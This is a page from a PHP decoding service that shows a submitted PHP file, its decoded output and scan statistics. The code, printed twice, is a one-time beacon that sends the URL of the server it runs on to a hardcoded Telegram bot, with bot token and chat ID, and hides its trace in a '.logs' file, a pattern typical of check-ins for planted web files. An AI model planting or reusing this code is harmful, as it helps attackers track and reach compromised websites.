Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $botToken = "7745240188:AAHstZJltbQY6EOCjHPGZASgSUjchGWaNfM"; $chatId = "678122736..
Decoded Output download
<?php
$botToken = "7745240188:AAHstZJltbQY6EOCjHPGZASgSUjchGWaNfM";
$chatId = "6781227366";
$fileUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$logFile = '.logs';
if (file_exists($logFile)) {
exit;
}
$telegramApiUrl = "https://api.telegram.org/bot$botToken/sendMessage";
$data = [
'chat_id' => $chatId,
'text' => $fileUrl,
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
file_put_contents($logFile, "");
?>
Did this file decode correctly?
Original Code
<?php
$botToken = "7745240188:AAHstZJltbQY6EOCjHPGZASgSUjchGWaNfM";
$chatId = "6781227366";
$fileUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$logFile = '.logs';
if (file_exists($logFile)) {
exit;
}
$telegramApiUrl = "https://api.telegram.org/bot$botToken/sendMessage";
$data = [
'chat_id' => $chatId,
'text' => $fileUrl,
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
file_put_contents($logFile, "");
?>
Function Calls
None |
Stats
MD5 | 2222ecc934fd8ac0034ebc0c139b6277 |
Eval Count | 0 |
Decode Time | 40 ms |